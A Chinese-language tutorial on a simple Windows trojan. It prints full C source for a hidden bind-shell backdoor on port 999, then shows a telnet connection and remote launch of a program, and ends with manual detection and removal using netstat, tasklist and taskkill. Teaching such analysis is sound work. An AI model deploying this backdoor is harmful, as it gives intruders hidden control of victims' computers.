簡(jiǎn)單木馬分析與防范
電腦已經(jīng)走進(jìn)我們的生活,與我們的生活息息相關(guān),感覺(jué)已經(jīng)離不開電腦與網(wǎng)絡(luò),對(duì)于電腦安全防范,今天小編在這里給大家推薦一些電腦病毒與木馬防范相關(guān)文章,歡迎大家圍觀參考,想了解更多,請(qǐng)繼續(xù)關(guān)注學(xué)習(xí)啦。
一、前言
病毒與木馬技術(shù)發(fā)展到今天,由于二者總是相輔相成,你中有我,我中有你,所以它們之間的界限往往已經(jīng)不再那么明顯,相互之間往往都會(huì)采用對(duì)方的一些技術(shù)以達(dá)到自己的目的,所以現(xiàn)在很多時(shí)候也就將二者直接統(tǒng)稱為“惡意代碼”。這次我打算用兩篇文章的篇幅來(lái)討論病毒與簡(jiǎn)單的木馬相互結(jié)合的分析與防范方法。本篇也就是第一篇,討論的是利用只有服務(wù)器端的木馬程序?qū)崿F(xiàn)“病毒”的啟動(dòng)。而在下一篇中,我會(huì)討論既有服務(wù)器端又有客戶端的木馬程序與“病毒”相結(jié)合的分析與防范。
二、簡(jiǎn)單木馬的原理
由于木馬技術(shù)與計(jì)算機(jī)網(wǎng)絡(luò)息息相關(guān),所以也就離不開Socket套接字編程。這里我不打算詳述Socket套接字編程的細(xì)節(jié),這個(gè)在MSDN上有非常詳細(xì)的講述,無(wú)非就是根據(jù)套接字的編程的流程,將相應(yīng)的內(nèi)容填入“模板”。而既然要實(shí)現(xiàn)通信的效果,就需要遵循一個(gè)通信模型,木馬一般都是C/S(客戶端/服務(wù)端)模式的。本篇文章所要論述的,雖然不涉及客戶端的編寫,但實(shí)際上我只不過(guò)是把cmd程序當(dāng)成了客戶端,因此本質(zhì)上還是C/S模式的。
C/S模型的開發(fā),需要在服務(wù)器端(欲攻擊的計(jì)算機(jī))上綁定一個(gè)IP地址和一個(gè)端口號(hào),然后進(jìn)行監(jiān)聽(tīng),等待客戶端(攻擊方)的連接??蛻舳藙t是向相應(yīng)的IP地址和端口號(hào)發(fā)起連接,服務(wù)器端接受后,雙方就可以開始進(jìn)行通信,這就是基于TCP協(xié)議的通信,也是接下來(lái)要用到的方法。另外還有一種基于UDP協(xié)議的方法,這種方法是在服務(wù)器端進(jìn)行相應(yīng)的綁定后,客戶端不需要進(jìn)行連接直接就可以和服務(wù)器進(jìn)行通信。可見(jiàn),TCP要比UDP可靠,而UDP要比TCP效率高。
本篇文章所論述的服務(wù)器端編程的基本原理如下:
1、打開一通信通道(綁定某個(gè)端口)并告知本地主機(jī),它在某一個(gè)地址上接收客戶請(qǐng)求。可以采用socket和bind函數(shù)實(shí)現(xiàn)。
2、等待用戶請(qǐng)求到達(dá)該端口。利用listen函數(shù)實(shí)現(xiàn)。
3、接收到服務(wù)請(qǐng)求,處理該請(qǐng)求并發(fā)送應(yīng)答信號(hào)。利用accept函數(shù)實(shí)現(xiàn)。
4、返回第二步,等待其他客戶的請(qǐng)求。
5、關(guān)閉連接。利用closesocket函數(shù)實(shí)現(xiàn)。
以上所使用的函數(shù)順序如下:
socket()→bind()→listen()→accept()→closesocket()
三、木馬的編程實(shí)現(xiàn)
當(dāng)服務(wù)器端運(yùn)行這個(gè)程序后,客戶端可以利用telnet向服務(wù)器端發(fā)起連接,成功后自動(dòng)打開cmd窗口,就可以通過(guò)DOS命令來(lái)直接控制服務(wù)器端的目標(biāo)計(jì)算機(jī),代碼如下:
#pragma comment(lib,"ws2_32.lib") #include
#include #define MasterPort 999 //欲利用的端口號(hào)
int main()
{ WSADATA WSADa;
sockaddr_in SockAddrIn; SOCKET CSocket,SSocket;
int iAddrSize; PROCESS_INFORMATION ProcessInfo;
STARTUPINFO StartupInfo; char szCMDPath[255];
//初始化數(shù)據(jù)
ZeroMemory(&ProcessInfo,sizeof(PROCESS_INFORMATION)); ZeroMemory(&StartupInfo,sizeof(STARTUPINFO));
ZeroMemory(&WSADa,sizeof(WSADATA)); //獲取CMD路徑
GetEnvironmentVariable("COMSPEC",szCMDPath,sizeof(szCMDPath));
//加載ws2_32.dll WSAStartup(0x0202,&WSADa);
//設(shè)置本地信息和綁定協(xié)議,建立Socket SockAddrIn.sin_family = AF_INET;
SockAddrIn.sin_addr.S_un.S_addr = INADDR_ANY; SockAddrIn.sin_port = htons(MasterPort);
CSocket = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0); //設(shè)置綁定端口999
bind(CSocket,(sockaddr *)&SockAddrIn,sizeof(SockAddrIn)); //設(shè)置服務(wù)器端監(jiān)聽(tīng)端口
listen(CSocket,1); iAddrSize = sizeof(SockAddrIn);
//開始連接遠(yuǎn)程服務(wù)器,并配置隱藏窗口結(jié)構(gòu)體
SSocket = accept(CSocket,(sockaddr *)&SockAddrIn,&iAddrSize); StartupInfo.cb = sizeof(STARTUPINFO);
StartupInfo.wShowWindow = SW_HIDE; StartupInfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
StartupInfo.hStdInput = (HANDLE)SSocket; StartupInfo.hStdOutput = (HANDLE)SSocket;
StartupInfo.hStdError = (HANDLE)SSocket; //創(chuàng)建匿名管道
CreateProcess(NULL,szCMDPath,NULL,NULL,TRUE,0,NULL,NULL,&StartupInfo,&ProcessInfo); WaitForSingleObject(ProcessInfo.hProcess,INFINITE);
//關(guān)閉進(jìn)程句柄
CloseHandle(ProcessInfo.hProcess); CloseHandle(ProcessInfo.hThread);
//關(guān)閉套接字 closesocket(CSocket);
closesocket(SSocket); //釋放ws2_32.dll動(dòng)態(tài)鏈接庫(kù)
WSACleanup();
return 0; }
由于代碼比較簡(jiǎn)單,這里不再進(jìn)行分析。
四、木馬與“病毒”的結(jié)合利用
之前文章所討論的“病毒”的自啟動(dòng)方式,都是需要借助于“外力”作用,而這次我的“病毒”則是通過(guò)植入木馬,連接成功后輸入DOS命令來(lái)啟動(dòng),但是前提是木馬需要先啟動(dòng)。這里我用了兩臺(tái)計(jì)算機(jī)(也可以使用虛擬機(jī)),一臺(tái)是客戶端,一臺(tái)是服務(wù)器端,服務(wù)器端已經(jīng)放置了木馬程序,現(xiàn)在就在服務(wù)器端執(zhí)行該木馬。之后在客戶端中打開cmd程序,輸入:
[plain] view plaincopy
telnet 192.168.1.107 999
這句命令的意思是通過(guò)telnet進(jìn)行遠(yuǎn)程登錄,連接到ip地址為192.168.1.107的計(jì)算機(jī)上的999號(hào)端口。成功后就可以發(fā)現(xiàn)已經(jīng)連接到了對(duì)方的計(jì)算機(jī)上:
那么此時(shí)就可以通過(guò)DOS命令對(duì)目標(biāo)計(jì)算機(jī)進(jìn)行控制。這里假設(shè)目標(biāo)計(jì)算機(jī)的E盤根目錄下保存有我之前編寫的Hacked.exe程序,那么可以通過(guò)輸入如下命令進(jìn)行運(yùn)行:
[sql] view plaincopy
start e:\hacked.exe
此時(shí)Hacked.exe程序已經(jīng)在目標(biāo)計(jì)算機(jī)上執(zhí)行,顯示如下:
當(dāng)然,我這里是假設(shè)Hacked.exe已放入對(duì)方的電腦,這個(gè)前提會(huì)有諸多的限制,因?yàn)楦玫姆椒ㄊ菍acked.exe程序由客戶端傳到服務(wù)器端再進(jìn)行啟動(dòng)。不過(guò),由于這個(gè)方法比較危險(xiǎn),為了避免別有用心的人拿它去做不軌的事情,因此不再深入討論。我的原則始終是以討論如何更好地防范惡意程序?yàn)橹鳎鴮?duì)于惡意代碼的實(shí)現(xiàn),也就是點(diǎn)到為止。無(wú)需多加討論的,堅(jiān)決不進(jìn)行深入探討。
五、木馬的查殺
上述代碼所實(shí)現(xiàn)的是一個(gè)比較簡(jiǎn)單的正向連接后門程序,并沒(méi)有添加進(jìn)程隱藏功能,也沒(méi)有增加啟動(dòng)項(xiàng)目,也就是說(shuō),當(dāng)服務(wù)器端計(jì)算機(jī)重新啟動(dòng)后,這個(gè)木馬就失效了,需要重新運(yùn)行才可以。我這里講講如何手動(dòng)查殺。當(dāng)服務(wù)器端被植入木馬后,服務(wù)器端可以進(jìn)入cmd(若cmd被映像劫持可參考我之前的文章),然后輸入命令:
[plain] view plaincopy
netstat –ano
這個(gè)命令可以查看當(dāng)前的網(wǎng)絡(luò)連接狀態(tài),如圖所示:
在圖中可以看到,本地端口999與IP地址為192.168.1.104的主機(jī)建立了TCP連接,而且也可以看到進(jìn)程的ID值為1292(每次啟動(dòng)木馬的PID值可能不一樣)。對(duì)于一般的木馬來(lái)說(shuō),在命令提示符下就可以實(shí)現(xiàn)“查”的操作,隨著以后討論的深入,木馬復(fù)雜度會(huì)不斷加深,我可能會(huì)使用專業(yè)查殺工具或者采用自制的工具實(shí)現(xiàn)“查”的功能。
利用PID值可以查看進(jìn)程的文件名,輸入:
[plain] view plaincopy
tasklist | find “1292”
就可以知道PID值為1292的進(jìn)程的名稱為“MiniTrojan.exe”。之后使用PID值就能夠?qū)⒛抉R進(jìn)程從計(jì)算機(jī)中刪除,這里用taskkill命令:
[plain] view plaincopy
taskkill /f /pid 1292 /t
這句命令的意思是,強(qiáng)制(/f)終止PID值為1292 的進(jìn)程和任何由此啟動(dòng)的進(jìn)程(/t)。最后一步是找到MiniTrojan.exe的位置,并刪除,就能夠徹底將木馬趕出計(jì)算機(jī)了,這里不再贅述。
六、小結(jié)
這篇文章所講的木馬程序需要在cmd下運(yùn)行,盡管遠(yuǎn)不如圖形界面直觀,但是這小小的木馬,也能夠造成很大的威脅了。不過(guò),這畢竟是一匹“小馬”,采用簡(jiǎn)單的DOS命令就能夠查殺,還是很好對(duì)付的。其實(shí)手動(dòng)查殺病毒木馬的流程就是這樣,查木馬病毒往往需要經(jīng)驗(yàn),需要敏銳的嗅覺(jué),之后的“殺”的階段,需要先把病毒木馬的進(jìn)程結(jié)束掉,然后才能刪掉其主程序。即便是復(fù)雜的惡意程序,基本上也是這個(gè)原理。
簡(jiǎn)單木馬分析與防范
下一篇:熊貓燒香之手動(dòng)查殺